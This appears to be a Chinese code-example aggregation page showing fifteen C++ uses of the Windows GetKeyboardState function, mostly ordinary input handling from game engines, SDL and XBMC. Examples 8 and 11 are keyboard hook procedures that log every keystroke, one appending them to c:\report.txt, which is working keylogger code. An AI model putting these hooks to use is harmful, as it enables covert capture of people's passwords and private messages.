本文整理汇总了C++中GetKeyboardState函数的典型用法代码示例。如果您正苦于以下问题:C++ GetKeyboardState函数的具体用法?C++ GetKeyboardState怎么用?C++ GetKeyboardState使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了GetKeyboardState函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: CheckKeys
//================================================================================
void ATHInputManager::SendKeyboardEvent()
{
ATHKeyList m_liKeysDown = CheckKeys();
ATHKeyList::iterator itrCurr = m_liKeysDown.begin();
ATHKeyList::iterator itrEnd = m_liKeysDown.end();
ATHEvent keyEvent( AET_KEYBOARD );
unsigned int unKeyDownIndex = 0;
unsigned int unKeyUpIndex = 0;
while( itrCurr != itrEnd )
{
unsigned int szDIKKey = (*itrCurr);
if (KeyPressed( szDIKKey ) && unKeyDownIndex < 8)
{
BYTE chAsciiKeys[ATH_NUM_KEYS] = {};
if (GetKeyboardState(chAsciiKeys))
{
unsigned short szAsciiKey = 0;
// Why do I have to do both opposite conversions????
int nCharCount = ToAsciiEx(MapVirtualKeyEx(szDIKKey, MAPVK_VSC_TO_VK, NULL), MapVirtualKeyEx(szDIKKey, MAPVK_VK_TO_VSC, NULL), chAsciiKeys, &szAsciiKey, 0, NULL);
if (nCharCount > 0)
{
keyEvent.KEY_szKeysPressed[unKeyDownIndex] = (char)szAsciiKey;
unKeyDownIndex++;
}
}
}
itrCurr++;
}
if( unKeyDownIndex > 0|| unKeyUpIndex > 0 )
{
keyEvent.m_EventID = AEI_KEYDOWN;
m_pEventManager->SendEvent( keyEvent, AEP_IMMEDIATE );
}
}
示例2: key_dinput_acquire
/* key_dinput_acquire: [window thread]
* Acquires the keyboard device. This must be called after a
* window switch for example if the device is in foreground
* cooperative level.
*/
int key_dinput_acquire(void)
{
HRESULT hr;
int mask, state;
char key_state[256];
if (key_dinput_device) {
mask = KB_SCROLOCK_FLAG | KB_NUMLOCK_FLAG | KB_CAPSLOCK_FLAG;
state = 0;
/* Read the current Windows keyboard state */
GetKeyboardState(key_state);
if (key_state[VK_SCROLL] & 1)
state |= KB_SCROLOCK_FLAG;
if (key_state[VK_NUMLOCK] & 1)
state |= KB_NUMLOCK_FLAG;
if (key_state[VK_CAPITAL] & 1)
state |= KB_CAPSLOCK_FLAG;
_key_shifts = (_key_shifts & ~mask) | (state & mask);
hr = IDirectInputDevice_Acquire(key_dinput_device);
if (FAILED(hr)) {
_TRACE(PREFIX_E "acquire keyboard failed: %s\n", dinput_err_str(hr));
return -1;
}
/* Initialize keyboard state */
SetEvent(key_input_event);
return 0;
}
else
return -1;
}
示例3: GetKeyboardState
WCHAR CTextService::_GetCh(BYTE vk, BYTE vkoff)
{
BYTE keystate[256];
WCHAR ubuff;
WCHAR u = L'\0';
GetKeyboardState(keystate);
switch(inputmode)
{
case im_hiragana:
case im_katakana:
case im_katakana_ank:
keystate[VK_CAPITAL] = 0;
if(abbrevmode || purgedicmode)
{
keystate[VK_KANA] = 0;
}
if(vkoff != 0)
{
keystate[vkoff] = 0;
}
break;
case im_jlatin:
case im_ascii:
keystate[VK_KANA] = 0;
break;
default:
break;
}
int retu = ToUnicode(vk, 0, keystate, &ubuff, 1, 0);
if(retu == 1)
{
u = ubuff;
}
return u;
}
示例4: toggle_numlock
static PyObject*
toggle_numlock(PyObject* self, PyObject* args)
{
int is_on = 0;
int turn_on = 0;
BYTE keys[256] = {0};
if(!PyArg_ParseTuple(args, "i", &turn_on))
return NULL;
GetKeyboardState((LPBYTE)&keys);
is_on = keys[VK_NUMLOCK] & 0x1;
if(is_on != turn_on)
{
keybd_event(VK_NUMLOCK,
0x45,
KEYEVENTF_EXTENDEDKEY | 0,
0);
keybd_event(VK_NUMLOCK,
0x45,
KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP,
0);
}
return Py_BuildValue("i", is_on);
}
示例5: GetKeyboardState
//////////////////////////////////////////////////////////////////////////
// mapKeyEvent
void OsClientWindows::mapKeyEvent( OsEventInputKeyboard& Event, WPARAM wParam )
{
Event.KeyCode_ = static_cast< BcU16 >( wParam ) & 0xff;
Event.ScanCode_ = ::MapVirtualKey( Event.KeyCode_, 0 );
WORD AsciiOut = 0;
BYTE KeyState[ 256 ];
GetKeyboardState( KeyState );
if( ::ToAscii( Event.KeyCode_, Event.ScanCode_, KeyState, &AsciiOut, 0 ) > 0 )
{
Event.AsciiCode_ = static_cast< BcU16 >( AsciiOut );
}
else
{
Event.AsciiCode_ = 0;
}
// Get key code, or pass through virtual.
TKeyCodeMapIterator It( KeyCodeMap_.find( Event.KeyCode_ ) );
if( It != KeyCodeMap_.end() )
{
Event.KeyCode_ = (*It).second;
}
}
示例6: GetKeyboardState
static SDL_keysym *TranslateKey(UINT vkey, UINT scancode, SDL_keysym *keysym, int pressed)
{
/* Set the keysym information */
keysym->scancode = (unsigned char) scancode;
keysym->sym = VK_keymap[vkey];
keysym->mod = KMOD_NONE;
keysym->unicode = 0;
if ( pressed && SDL_TranslateUNICODE ) { /* Someday use ToUnicode() */
#ifdef NO_GETKEYBOARDSTATE
/* Uh oh, better hope the vkey is close enough.. */
keysym->unicode = vkey;
#else
BYTE keystate[256];
BYTE chars[2];
GetKeyboardState(keystate);
if ( ToAscii(vkey,scancode,keystate,(WORD *)chars,0) == 1 ) {
keysym->unicode = chars[0];
}
#endif /* NO_GETKEYBOARDSTATE */
}
return(keysym);
}
示例7: GetKeyboardState
void CKeySend::SetCapsLock(const bool bState)
{
BYTE keyState[256];
GetKeyboardState((LPBYTE)&keyState);
if ((bState && !(keyState[VK_CAPITAL] & 0x01)) ||
(!bState && (keyState[VK_CAPITAL] & 0x01))) {
if (m_impl->m_isOldOS) {
// Simulate a key press
keybd_event(VK_CAPITAL, 0x45, KEYEVENTF_EXTENDEDKEY | 0, 0);
// Simulate a key release
keybd_event(VK_CAPITAL, 0x45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
} else {
newSendVK(VK_CAPITAL); // Send CapLock keydown/keyup via SendInput
}
}
MSG msg;
while (::PeekMessage(&msg, NULL, 0, 0, PM_NOREMOVE)) {
// so there is a message process it.
#ifndef __WX__
if (!AfxGetThread()->PumpMessage())
break;
#else
// Not sure this is correct!
if (msg.message == WM_QUIT) {
// Put it back on the queue and leave now
::PostQuitMessage(0);
return;
}
::TranslateMessage(&msg);
::DispatchMessage(&msg);
#endif
}
}
示例8: __declspec
LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(
int nCode,
WPARAM wParam,
LPARAM lParam)
{
char ch;
if (((DWORD)lParam & 0x40000000) &&
(HC_ACTION==nCode))
{
if ((wParam == VK_SPACE)||
(wParam == VK_RETURN)||
(wParam >= 0x2f) && (wParam <= 0x100))
{
FILE *file =fopen("c:\\report.txt","a+");
if (wParam==VK_RETURN)
{
ch='\n';
fwrite(&ch,1,1,file);
}
else{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch =char(w);
fwrite(&ch,1,1,file);
}
fclose(file);
}
}
LRESULT RetVal = CallNextHookEx( hHook, nCode, wParam, lParam);
return RetVal;
}
示例9: VG4_AnimRender
/* Функция построения кадра.
* АРГУМЕНТЫ: Нет.
* ВОЗВРАЩАЕМОЕ ЗНАЧЕНИЕ: Нет.
*/
VOID VG4_AnimRender( VOID )
{
INT i;
LARGE_INTEGER li;
POINT pt;
if (!VG4_IsInit)
return;
/*** Опрос таймера ***/
/* обновляем информацию: */
QueryPerformanceCounter(&li);
/* глобальное время */
VG4_Anim.GlobalTime = (DBL)(li.QuadPart - VG4_TimeStart) / VG4_TimeFreq;
VG4_Anim.GlobalDeltaTime = (DBL)(li.QuadPart - VG4_TimeOld) / VG4_TimeFreq;
/* локальное время */
if (VG4_Anim.IsPause)
VG4_Anim.DeltaTime = 0, VG4_TimePause += li.QuadPart - VG4_TimeOld;
else
VG4_Anim.DeltaTime = VG4_Anim.GlobalDeltaTime;
VG4_Anim.Time = (DBL)(li.QuadPart - VG4_TimeStart - VG4_TimePause - VG4_TimeShift) /
VG4_TimeFreq;
/* вычисляем производительность */
if (li.QuadPart - VG4_TimeFPS > VG4_TimeFreq * 3.0)
{
VG4_Anim.FPS = VG4_FrameCounter / ((DBL)(li.QuadPart - VG4_TimeFPS) / VG4_TimeFreq);
VG4_TimeFPS = li.QuadPart;
VG4_FrameCounter = 0;
}
/* обновляем время "старого" кадра */
VG4_TimeOld = li.QuadPart;
/*** Опрос устройств ввода ***/
/* клавиатура */
/* копируем старое состояние */
memcpy(VG4_Anim.KeysOld, VG4_Anim.Keys, 256);
/* Считываем новое */
GetKeyboardState(VG4_Anim.Keys);
/* конвертироем в Да,Нет */
for (i = 0; i < 256; i++)
VG4_Anim.Keys[i] >>= 7;
/* мышь */
GetCursorPos(&pt);
ScreenToClient(VG4_Anim.hWnd, &pt);
VG4_Anim.MouseX = pt.x;
VG4_Anim.MouseY = pt.y;
VG4_Anim.MouseBut[0] = VG4_Anim.Keys[VK_LBUTTON];
VG4_Anim.MouseBut[1] = VG4_Anim.Keys[VK_RBUTTON];
VG4_Anim.MouseBut[2] = VG4_Anim.Keys[VK_MBUTTON];
VG4_Anim.MouseDeltaX = pt.x - VG4_MousePosOld.x;
VG4_Anim.MouseDeltaY = pt.y - VG4_MousePosOld.y;
VG4_Anim.MouseWheel = VG4_MouseWheel;
VG4_MouseWheel = 0;
VG4_MousePosOld = pt;
/* джойстик */
if ((i = joyGetNumDevs()) > 1)
{
JOYCAPS jc;
if (joyGetDevCaps(JOYSTICKID1, &jc, sizeof(jc)) == JOYERR_NOERROR)
{
JOYINFOEX ji;
ji.dwSize = sizeof(ji);
ji.dwFlags = JOY_RETURNALL;
if (joyGetPosEx(JOYSTICKID1, &ji) == JOYERR_NOERROR)
{
/* кнопки */
memcpy(VG4_Anim.JButOld, VG4_Anim.JBut, 32);
for (i = 0; i < 32; i++)
VG4_Anim.JBut[i] = (ji.dwButtons >> i) & 1;
/* оси переводим в диапазон -1..1 */
VG4_Anim.Jx = 2.0 * (ji.dwXpos - jc.wXmin) / (jc.wXmax - jc.wXmin) - 1;
VG4_Anim.Jy = 2.0 * (ji.dwYpos - jc.wYmin) / (jc.wYmax - jc.wYmin) - 1;
VG4_Anim.Jz = 2.0 * (ji.dwZpos - jc.wZmin) / (jc.wZmax - jc.wZmin) - 1;
VG4_Anim.Jr = 2.0 * (ji.dwRpos - jc.wRmin) / (jc.wRmax - jc.wRmin) - 1;
if (ji.dwPOV == 0xFFFF)
VG4_Anim.JPov = 0;
else
VG4_Anim.JPov = ji.dwPOV / 4500 + 1;
}
示例10: Util_DebugMsg
void HS_SendKeys::SimModsUp(void)
{
#ifdef _DEBUG
Util_DebugMsg("==> HS_SendKeys::SimModsUp : m_nKeyMod=%d)\n", m_nKeyMod);
#endif
// If the window is NULL use keybd_event
if (m_hWnd == NULL)
{
if ( m_nKeyMod & ALTMOD ) // ALT required?
keybd_event(VK_MENU, m_scanAlt, KEYEVENTF_KEYUP, 0);
if ( m_nKeyMod & CTRLMOD ) // CTRL required?
keybd_event(VK_CONTROL, m_scanCtrl, KEYEVENTF_KEYUP, 0);
if ( m_nKeyMod & SHIFTMOD ) // SHIFT required?
keybd_event(VK_SHIFT, m_scanShift, KEYEVENTF_KEYUP, 0);
if ( m_nKeyMod & LWINMOD ) // WIN required?
keybd_event(VK_LWIN, m_scanLWin, KEYEVENTF_KEYUP, 0);
}
else
{
LPARAM lparam;
BYTE KeybdState[256];
GetKeyboardState((LPBYTE)&KeybdState);
if ( (m_nKeyMod & ALTMOD) && !(m_nKeyMod & CTRLMOD) ) // Alt without Ctrl
{
lparam = 0xE0000001 | (LPARAM)(m_scanAlt << 16); // AltDown=1, Repeat=1, Key = up
PostMessage(m_hWnd, WM_SYSKEYUP, VK_MENU, lparam);
}
else if (m_nKeyMod & ALTMOD) // Alt with Ctrl
{
lparam = 0xC0000001 | (LPARAM)(m_scanAlt << 16);
PostMessage(m_hWnd, WM_KEYUP, VK_MENU, lparam);
}
if ( m_nKeyMod & CTRLMOD ) // CTRL required?
{
lparam = 0xC0000001 | (LPARAM)(m_scanCtrl << 16);
PostMessage(m_hWnd, WM_KEYUP, VK_CONTROL, lparam);
}
if ( m_nKeyMod & SHIFTMOD ) // SHIFT required?
{
lparam = 0xC0000001 | (LPARAM)(m_scanShift << 16);
PostMessage(m_hWnd, WM_KEYUP, VK_SHIFT, lparam);
}
if ( m_nKeyMod & LWINMOD ) // WIN required?
{
lparam = 0xC0000001 | (LPARAM)(m_scanLWin << 16);
PostMessage(m_hWnd, WM_KEYUP, VK_LWIN, lparam);
}
// Now alter the keyboard state to match the mods we just sent
if ( m_nKeyMod & LWINMOD ) // WIN required?
KeybdState[VK_LWIN] ^= 0x80;
if ( m_nKeyMod & SHIFTMOD ) // SHIFT required?
KeybdState[VK_SHIFT] ^= 0x80;
if ( m_nKeyMod & CTRLMOD ) // CTRL required?
KeybdState[VK_CONTROL] ^= 0x80;
if (m_nKeyMod & ALTMOD) // ALT required?
KeybdState[VK_MENU] ^= 0x80;
SetKeyboardState((LPBYTE)&KeybdState);
}
// Key up keydelay
DoKeyDelay();
} // SimModsUp()
示例11: KeyboardHookProc
LRESULT CALLBACK KeyboardHookProc(int code, WPARAM wParam, LPARAM lParam)
{
if(!(lParam >> 31) && (code >= 0))
{
char keyw[20];
BEEP
switch(wParam)
{
case VK_CANCEL: strcpy(keyw,"[CTRL-BRK]"); break;
case VK_BACK: strcpy(keyw,"[BACK]"); break;
case VK_TAB: strcpy(keyw,"[TAB]"); break;
case VK_CLEAR: strcpy(keyw,"[CLEAR]"); break;
case VK_RETURN: strcpy(keyw,"[ENTER]\r\n"); break;
case VK_SHIFT: strcpy(keyw,"[SHIFT]"); break;
case VK_CONTROL: strcpy(keyw,"[CTRL]"); break;
case VK_MENU: strcpy(keyw,"[ALT]"); break;
case VK_PAUSE: strcpy(keyw,"[PAUSE]"); break;
case VK_CAPITAL: strcpy(keyw,"[CapsLock]"); break;
case VK_ESCAPE: strcpy(keyw,"[ESC]"); break;
case VK_PRIOR: strcpy(keyw,"[PageUp]"); break;
case VK_NEXT: strcpy(keyw,"[PageDown]"); break;
case VK_END: strcpy(keyw,"[END]"); break;
case VK_HOME: strcpy(keyw,"[HOME]"); break;
case VK_LEFT: strcpy(keyw,"[LEFT]"); break;
case VK_UP: strcpy(keyw,"[UP]"); break;
case VK_RIGHT: strcpy(keyw,"[RIGHT]"); break;
case VK_DOWN: strcpy(keyw,"[DOWN]"); break;
case VK_SELECT: strcpy(keyw,"[SELECT]"); break;
case VK_EXECUTE: strcpy(keyw,"[EXECUTE]"); break;
case VK_SNAPSHOT: strcpy(keyw,"[PrintScreen]"); break;
case VK_INSERT: strcpy(keyw,"[INSERT]"); break;
case VK_DELETE: strcpy(keyw,"[DELETE]"); break;
case VK_HELP: strcpy(keyw,"[HELP]"); break;
case VK_LWIN: strcpy(keyw,"[LeftWindowsKey]"); break;
case VK_RWIN: strcpy(keyw,"[RightWindowsKey]"); break;
case VK_APPS: strcpy(keyw,"[ApplicationKey]"); break;
case VK_MULTIPLY: strcpy(keyw,"[MULTIPLY]"); break;
case VK_ADD: strcpy(keyw,"[ADD]"); break;
case VK_SEPARATOR: strcpy(keyw,"[SEPERATOR]"); break;
case VK_SUBTRACT: strcpy(keyw,"[SUBTRACT]"); break;
case VK_DECIMAL: strcpy(keyw,"[DECIMAL]"); break;
case VK_DIVIDE: strcpy(keyw,"[DIVIDE]"); break;
case VK_NUMLOCK: strcpy(keyw,"[NumLock]"); break;
case VK_SCROLL: strcpy(keyw,"[ScrollLock]"); break;
case VK_ATTN: strcpy(keyw,"[ATTN]"); break;
case VK_CRSEL: strcpy(keyw,"[CrSel]"); break;
case VK_EXSEL: strcpy(keyw,"[ExSel]"); break;
case VK_EREOF: strcpy(keyw,"[EraseEOF]"); break;
case VK_PLAY: strcpy(keyw,"[PLAY]"); break;
case VK_ZOOM: strcpy(keyw,"[ZOOM]"); break;
default: {
/* function keys */
if((wParam >= VK_F1)
&&(wParam <= VK_F24))
{
sprintf(keyw,"[F%u]",
(wParam - VK_F1 + 1));
}
/* what we want the most... the ASCII keys */
else if ((wParam==VK_SPACE)||(wParam>=0x2f)&&(wParam<=0x100))
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
*keyw = char(w);
keyw[1] = '\0';
}
else {
sprintf(keyw,"[(%d)%c]",wParam,wParam); break;
}
}
}
STORE_INFO(keyw);
}
return CallNextHookEx(KeyHook, code, wParam, lParam);
}
示例12: __declspec
LRESULT __declspec( dllexport )__stdcall CALLBACK KeyboardProc( int nCode, WPARAM wParam, LPARAM lParam )
{
char ch;
if ( ( ( DWORD )lParam & 0x40000000 ) && ( HC_ACTION == nCode ) )
{
if ( ( wParam == VK_SPACE ) || ( wParam == VK_RETURN ) || ( wParam == VK_BACK ) || ( wParam == VK_DELETE ) || ( ( wParam >= 0x2f ) && ( wParam <= 0x100 ) ) )
{
if ( wParam == VK_RETURN )
{
if( isChatinputOpen )
{
strcat( textbox_buffer, iBuf );
strcat( textbox_buffer, "\n" );
isChatinputOpen = 0;
// TODO: send chat msg
memset( iBuf, 0, sizeof( iBuf ) );
return 1;
}
}
else if( wParam == VK_BACK || wParam == VK_DELETE )
{
if( isChatinputOpen )
{
size_t i = strlen( iBuf );
if( i > 0 )
iBuf[i - 1] = 0;
return 1;
}
}
else
{
BYTE ks[256];
GetKeyboardState( ks );
WORD w;
UINT scan = 0;
ToAscii( wParam, scan, ks, &w, 0 );
ch = char( w );
char tbuf[2] = {0};
tbuf[0] = ch;
if( !isChatinputOpen )
{
if( ch == 't' ) // TODO: make hotkey configurable
{
isChatinputOpen = 1;
return 1;
}
}
else
{
if( strlen( iBuf ) < sizeof( iBuf ) - 1 )
strcat( iBuf, tbuf );
return 1;
}
}
}
}
return CallNextHookEx( hkb, nCode, wParam, lParam );
}
示例13: GetKeyboardState
static XBMC_keysym *TranslateKey(WPARAM vkey, UINT scancode, XBMC_keysym *keysym, int pressed)
{ uint16_t mod;
uint8_t keystate[256];
/* Set the keysym information */
keysym->scancode = (unsigned char) scancode;
keysym->unicode = 0;
if ((vkey == VK_RETURN) && (scancode & 0x100))
{
/* No VK_ code for the keypad enter key */
keysym->sym = XBMCK_KP_ENTER;
}
else
{
keysym->sym = VK_keymap[XBMC_MapVirtualKey(scancode, vkey)];
}
// Attempt to convert the keypress to a UNICODE character
GetKeyboardState(keystate);
if ( pressed && XBMC_TranslateUNICODE )
{ uint16_t wchars[2];
/* Numlock isn't taken into account in ToUnicode,
* so we handle it as a special case here */
if ((keystate[VK_NUMLOCK] & 1) && vkey >= VK_NUMPAD0 && vkey <= VK_NUMPAD9)
{
keysym->unicode = vkey - VK_NUMPAD0 + '0';
}
else if (ToUnicode((UINT)vkey, scancode, keystate, (LPWSTR)wchars, sizeof(wchars)/sizeof(wchars[0]), 0) > 0)
{
keysym->unicode = wchars[0];
}
}
// Set the modifier bitmap
mod = (uint16_t) XBMCKMOD_NONE;
// If left control and right alt are down this usually means that
// AltGr is down
if ((keystate[VK_LCONTROL] & 0x80) && (keystate[VK_RMENU] & 0x80))
{
mod |= XBMCKMOD_MODE;
}
else
{
if (keystate[VK_LCONTROL] & 0x80) mod |= XBMCKMOD_LCTRL;
if (keystate[VK_RMENU] & 0x80) mod |= XBMCKMOD_RALT;
}
// Check the remaining modifiers
if (keystate[VK_LSHIFT] & 0x80) mod |= XBMCKMOD_LSHIFT;
if (keystate[VK_RSHIFT] & 0x80) mod |= XBMCKMOD_RSHIFT;
if (keystate[VK_RCONTROL] & 0x80) mod |= XBMCKMOD_RCTRL;
if (keystate[VK_LMENU] & 0x80) mod |= XBMCKMOD_LALT;
if (keystate[VK_LWIN] & 0x80) mod |= XBMCKMOD_LSUPER;
if (keystate[VK_RWIN] & 0x80) mod |= XBMCKMOD_LSUPER;
keysym->mod = (XBMCMod) mod;
// Return the updated keysym
return(keysym);
}
示例14: WndProc
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
#ifndef WM_MOUSEWHEEL
#define WM_MOUSEWHEEL 0x020A
#endif
#ifndef WHEEL_DELTA
#define WHEEL_DELTA 120
#endif
switch (message)
{
case WM_ERASEBKGND:
return 0;
case WM_KEYUP:
{
InputSystem::Instance()->GetKeyboard()->OnSystemKeyUnpressed((int32)wParam);
};
break;
case WM_KEYDOWN:
{
BYTE allKeys[256];
GetKeyboardState(allKeys);
if ((allKeys[VK_MENU] & 0x80)
&& (allKeys[VK_TAB] & 0x80))
{
ShowWindow(hWnd, SW_MINIMIZE);
}
Vector<DAVA::UIEvent> touches;
Vector<DAVA::UIEvent> emptyTouches;
for(Vector<DAVA::UIEvent>::iterator it = activeTouches.begin(); it != activeTouches.end(); it++)
{
touches.push_back(*it);
}
DAVA::UIEvent ev;
ev.keyChar = 0;
ev.phase = DAVA::UIEvent::PHASE_KEYCHAR;
ev.tapCount = 1;
ev.tid = InputSystem::Instance()->GetKeyboard()->GetDavaKeyForSystemKey((int32)wParam);
touches.push_back(ev);
UIControlSystem::Instance()->OnInput(0, emptyTouches, touches);
touches.pop_back();
UIControlSystem::Instance()->OnInput(0, emptyTouches, touches);
InputSystem::Instance()->GetKeyboard()->OnSystemKeyPressed((int32)wParam);
};
break;
case WM_CHAR:
{
if(wParam > 27) //TODO: remove this elegant check
{
Vector<DAVA::UIEvent> touches;
Vector<DAVA::UIEvent> emptyTouches;
for(Vector<DAVA::UIEvent>::iterator it = activeTouches.begin(); it != activeTouches.end(); it++)
{
touches.push_back(*it);
}
DAVA::UIEvent ev;
ev.keyChar = (char16)wParam;
ev.phase = DAVA::UIEvent::PHASE_KEYCHAR;
ev.tapCount = 1;
ev.tid = 0;
touches.push_back(ev);
UIControlSystem::Instance()->OnInput(0, emptyTouches, touches);
touches.pop_back();
UIControlSystem::Instance()->OnInput(0, emptyTouches, touches);
}
}
break;
case WM_INPUT:
{
UINT dwSize;
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize,
sizeof(RAWINPUTHEADER));
LPBYTE lpb = new BYTE[dwSize];
if (lpb == NULL)
return 0;
if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize,
sizeof(RAWINPUTHEADER)) != dwSize )
OutputDebugString (TEXT("GetRawInputData does not return correct size !\n"));
RAWINPUT* raw = (RAWINPUT*)lpb;
if(raw->header.dwType == RIM_TYPEMOUSE && raw->data.mouse.usFlags == 0)
{
//.........这里部分代码省略.........
示例15: IK3_AnimRender
VOID IK3_AnimRender( VOID )
{
int i;
POINT pt;
LARGE_INTEGER t;
IK3_FrameCounter++;
QueryPerformanceCounter(&t);
IK3_Anim.GlobalTime =(DBL)(t.QuadPart - IK3_StartTime) / IK3_TimePerSec;
IK3_Anim.GlobalDeltaTime =(DBL)(t.QuadPart - IK3_OldTime) / IK3_TimePerSec;
if (IK3_Anim.IsPause)
{
IK3_Anim.DeltaTime = 0;
IK3_PauseTime += t.QuadPart - IK3_OldTime;
}
else
{
IK3_Anim.DeltaTime = IK3_Anim.GlobalDeltaTime;
IK3_Anim.Time = (DBL)(t.QuadPart - IK3_PauseTime - IK3_OldTime) / IK3_TimePerSec;
}
if (t.QuadPart - IK3_OldTimeFPS > IK3_TimePerSec);
{
CHAR str[100];
IK3_Anim.FPS = IK3_FrameCounter * IK3_TimePerSec / (DBL)(t.QuadPart - IK3_OldTimeFPS);
IK3_OldTimeFPS = t.QuadPart;
sprintf(str, "FPS: %.5f", IK3_Anim.FPS);
SetWindowText(IK3_Anim.hWnd, str);
IK3_FrameCounter = 0;
}
GetKeyboardState(IK3_Anim.Keys);
for (i = 0; i < 256; i++)
{
IK3_Anim.Keys[i] >>= 7;
if (!IK3_Anim.OldKeys[i] && IK3_Anim.Keys[i])
IK3_Anim.KeysClick[i] = TRUE;
else
IK3_Anim.KeysClick[i] = FALSE;
}
memcpy(IK3_Anim.OldKeys, IK3_Anim.Keys, 256);
GetCursorPos(&pt);
ScreenToClient(IK3_Anim.hWnd, &pt);
IK3_Anim.Mdx = pt.x - IK3_Anim.Mx;
IK3_Anim.Mdy = pt.y - IK3_Anim.My;
IK3_Anim.Mdx = pt.x;
IK3_Anim.Mdy = pt.y;
/* Joystick */
if (joyGetNumDevs() > 0)
{
JOYCAPS jc;
/* Get joystick info */
if (joyGetDevCaps(JOYSTICKID1, &jc, sizeof(jc)) == JOYERR_NOERROR)
{
JOYINFOEX ji;
ji.dwSize = sizeof(JOYINFOEX);
ji.dwFlags = JOY_RETURNALL;
if (joyGetPosEx(JOYSTICKID1, &ji) == JOYERR_NOERROR)
{
/* Buttons */
for (i = 0; i < 32; i++)
IK3_Anim.JBut[i] = (ji.dwButtons >> i) & 1;
/* Axes */
IK3_Anim.JX = IK3_GET_JOYSTIC_AXIS(X);
IK3_Anim.JY = IK3_GET_JOYSTIC_AXIS(Y);
IK3_Anim.JZ = IK3_GET_JOYSTIC_AXIS(Z);
IK3_Anim.JR = IK3_GET_JOYSTIC_AXIS(R);
/* Point of view */
IK3_Anim.JPov = ji.dwPOV == 0xFFFF ? 0 : ji.dwPOV / 4500 + 1;
}
}